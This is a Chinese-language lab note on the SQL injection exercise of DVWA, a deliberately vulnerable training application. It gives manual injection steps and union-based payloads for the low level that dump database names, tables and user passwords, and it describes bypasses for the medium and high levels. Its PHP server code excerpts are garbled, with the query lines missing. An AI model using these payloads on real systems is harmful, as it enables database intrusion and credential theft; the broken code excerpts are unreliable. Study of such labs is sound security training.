DVWA笔记之SQL injection

SQL Injection

SQL Injection，即SQL注入，是指攻击者通过注入恶意的SQL命令，破坏SQL查询语句的结构，从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的，常常会导致整个数据库被“脱裤”，尽管如此，SQL注入仍是现在最常见的Web漏洞之一。

手工注入思路

自动化的注入神器sqlmap固然好用，但还是要掌握一些手工注入的思路，下面简要介绍手工注入（非盲注）的步骤。

1.判断是否存在注入，注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

low

服务器代码：

' . mysql_error() . '

' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}";
// Increase loop count
$i++;
}
mysql_close();
}
?>

1.首先正常查询、
2.接着1‘判断是不是有注入点。
3.接着用1' or '1'='1 盒 1 or 1=1#查询是字符型还是数字型注入。
4.再来用order by XXX 查询字段数
5.确认显示字段顺序（数据库）1′ union select 1,2 #
6.获取当前数据库1′ union select 1,database() #
7.获取数据库表名union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
8.获取表中的字段名1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #
9.最后下载数据
group_concat(user_id,first_name,last_name),group_concat(password) from users #

medium

服务器代码

' . mysql_error() . '

' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}";
// Increase loop count
$i++;
}
//mysql_close();
}
?>

可以看到，它转义了字符\x00,\n,\r,',",\1a，而且
客户端还有一个下拉窗口选择。

选择的可以通过抓包修改通过，因为存在数字型注入，所以转义那些字符就没有意义了。

HIGH

服务端代码：

Something went wrong.

' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}";
// Increase loop count
$i++;
}
mysql_close();
}
?>

high添加了LIMIT 1，希望以此控制只输出一个结果。
我们也可以通过#将它过滤。

需要特别提到的是，High级别的查询提交页面与查询结果显示页面不是同一个，也没有执行302跳转，这样做的目的是为了防止一般的sqlmap注入，因为sqlmap在注入过程中，无法在查询提交页面上获取查询的结果，没有了反馈，也就没办法进一步注入。

Impossible